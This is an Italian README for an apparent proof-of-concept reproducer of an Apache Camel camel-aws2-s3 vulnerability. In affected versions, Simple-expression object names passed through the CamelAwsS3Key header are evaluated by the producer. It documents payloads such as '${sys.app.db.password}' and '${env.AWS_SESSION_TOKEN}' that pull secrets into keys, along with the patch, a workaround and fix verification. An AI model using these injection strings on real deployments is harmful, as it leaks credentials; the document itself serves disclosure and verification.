
Reproducer eseguibile in Spring Boot e Quarkus per CVE-2026-95664, che dimostra l'iniezione di espressioni Simple tramite l'header CamelAwsS3Key in camel-aws2-s3 e verifica la correzione.
Riproduttore proof-of-concept eseguibile per la vulnerabilità di Apache Camel in cui il producer camel-aws2-s3
prendeva la chiave dell'oggetto dall'header del messaggio CamelAwsS3Key e — a partire dalla 4.8.0 —
AWS2S3Utils.determineKey() passava quel valore al linguaggio Simple ogni volta che conteneva ${ o
$simple{, così che una route potesse usare una chiave dinamica. La valutazione si applicava a un valore preso
dall'header esattamente come all'opzione keyName configurata dalla route.
| Runtime | Directory | Stack |
|---|---|---|
| Camel Spring Boot | camel-spring-boot/ | Spring Boot 3.5.13 + camel-aws2-s3 4.22.1 |
| Camel Quarkus | camel-quarkus/ | Camel Quarkus 3.39.0 (Quarkus 3.39.0, Camel 4.22.0) |
L'header non è configurazione della route. Il consumer aws2-s3 imposta CamelAwsS3Key su ogni exchange che
crea alla chiave dell'oggetto che ha letto — cioè il nome dell'oggetto nel bucket. In una route che non fa
altro che consumare da un endpoint aws2-s3 e produrre verso un altro, il nome di ciascun oggetto consumato
giungeva quindi al producer e veniva valutato.
Chiunque fosse in grado di scegliere il nome di un oggetto in un bucket consumato da una tale route — tipicamente
qualsiasi principal autorizzato a caricarvi file — poteva far valutare espressioni Simple di propria scelta
all'interno del processo Camel. Simple può leggere proprietà di sistema della JVM, variabili d'ambiente e
proprietà di configurazione, che comunemente contengono credenziali e, con camel-bean nel classpath, invocare
metodi su bean del registry.
Configurare keyName sul producer non costituiva una protezione, perché l'header ha la precedenza su di esso.
cd camel-spring-boot # or: cd camel-quarkus
mvn clean package
docker compose up -d --build
until [ "$(curl -s http://localhost:8080/exploit/ready)" = "Started" ]; do sleep 1; done
curl -s http://localhost:8080/exploit/attack
docker compose down
Output su una build interessata (identico su entrambi i runtime):
Route under attack: from("direct:archive").to("aws2-s3://archive-bucket?amazonS3Client=#s3Client®ion=eu-west-1&autoCreateBucket=false&keyName=archived.txt")
The route configures a FIXED destination key: keyName=archived.txt. It never asks for a
dynamic key. The CamelAwsS3Key header, which the aws2-s3 consumer sets to the name of the
object it read, takes precedence over that option.
Values the deployment holds but the route never references:
system property app.db.password = PROD-DB-PASSWORD-s3cr3t-77
environment AWS_SESSION_TOKEN = ENV-SESSION-TOKEN-s3cr3t-88
1) An ordinary object name in the consumed bucket: 'invoice-2026.pdf'
key the producer wrote: [invoice-2026.pdf]
2) An object an uploader named '${sys.app.db.password}'
key the producer wrote: [PROD-DB-PASSWORD-s3cr3t-77]
the JVM system property was resolved into the key: true
3) An object an uploader named '${env.AWS_SESSION_TOKEN}'
key the producer wrote: [ENV-SESSION-TOKEN-s3cr3t-88]
the environment variable was resolved into the key: true
4) The $simple{} marker is handled the same way: '$simple{routeId}-${exchangeId}'
key the producer wrote: [route1-D953127238C9F86-0000000000000000]
evaluated rather than used literally: true
5) CONTROL - the same object name through a route doing removeHeader("CamelAwsS3Key")
key the producer wrote: [archived.txt]
the configured keyName was used instead: true
>>> PROVEN: ...
La Probe 5 è la soluzione alternativa fornita dall'advisory per le installazioni che non possono ancora essere aggiornate, mostrata in funzione.
Nessun account AWS e nessuna rete. Il riproduttore registra un sostituto che registra le chiamate per S3
(amazonS3Client=#s3Client) che cattura la chiave che il producer ha effettivamente richiesto di scrivere — l'unica cosa
che necessita di essere osservata. Vengono eseguiti il vero AWS2S3Producer e il vero AWS2S3Utils.determineKey(); solo la chiamata
all'SDK alla fine viene catturata.
Il driver imposta CamelAwsS3Key sul nome dell'oggetto consumato, che è esattamente ciò che fa il consumer aws2-s3,
quindi il lato consumer non necessita di un bucket proprio.
Il sostituto risponde anche a
headBucket, perchéAWS2S3Endpoint.doStart()verifica che il bucket esista prima che la route si avvii. Quel controllo non è correlato alla vulnerabilità.
| Proprietà | Valore |
|---|---|
| Componente | camel-aws2-s3 (AWS2S3Utils.determineKey()) |
| CWE | CWE-917 (Expression Language Injection) |
| Gravità | Media |
| Vettore di attacco | Il nome di un oggetto in un bucket che una route aws2-s3 consuma, contenente ${ o $simple{, trasportato al producer in CamelAwsS3Key |
| Impatto | Valutazione di espressioni Simple nel processo Camel: lettura di proprietà di sistema, variabili d'ambiente e proprietà di configurazione; invocazione di metodi su bean del registry dove è presente camel-bean |
| Versioni interessate | Dalla 4.8.0 precedente alla 4.18.5, dalla 4.19.0 precedente alla 4.22.2 (le release precedenti alla 4.8.0 utilizzavano il valore dell'header così com'era e non sono interessate) |
| Versioni corrette | 4.18.5, 4.22.2, 4.23.0 |
| JIRA | CAMEL-24901 |
| Credito | Andrea Cosentino della Apache Software Foundation |
Advisory: https://camel.apache.org/security/CVE-2026-95664.html
Il nome del bucket è passato attraverso la stessa valutazione, ma il consumer inserisce in un header del bucket solo il bucket configurato sul proprio endpoint, mai un valore derivato da un oggetto remoto, quindi il nome del bucket non era raggiungibile in questo modo.
Solo la chiave configurata dalla route può essere un'espressione Simple dinamica. Una chiave fornita tramite l'header viene ora utilizzata letteralmente e mai valutata:
String key = exchange.getIn().getHeader(AWS2S3Constants.KEY, String.class);
if (ObjectHelper.isEmpty(key)) {
// only the configured key (supplied by the route) may be a dynamic simple expression;
// a key provided through the header is used literally and never evaluated
key = configuration.getKeyName();
if (key != null && hasSimpleFunction(key)) { ... evaluate ... }
}
Corretto su main in apache/camel#26746 (1fd7a667), con
backport su camel-4.22.x e camel-4.18.x.
Dopo l'aggiornamento, un nome di chiave o di bucket fornito tramite un header del messaggio viene utilizzato letteralmente — quindi una route
che inseriva deliberatamente un'espressione Simple non valutata in CamelAwsS3Key o CamelAwsS3OverrideBucketName
deve ora valutarla nella route stessa (setHeader(..., simple(...))) oppure configurarla come opzione
keyName / bucketName dell'endpoint.
Imposta camel.version su 4.22.2 ed eseguilo di nuovo. Verificato con 4.22.1 → 4.22.2:
2) An object an uploader named '${sys.app.db.password}'
key the producer wrote: [${sys.app.db.password}]
the JVM system property was resolved into the key: false
4) ... key the producer wrote: [$simple{routeId}-${exchangeId}]
evaluated rather than used literally: false
>>> NOT reproduced: the header was used literally.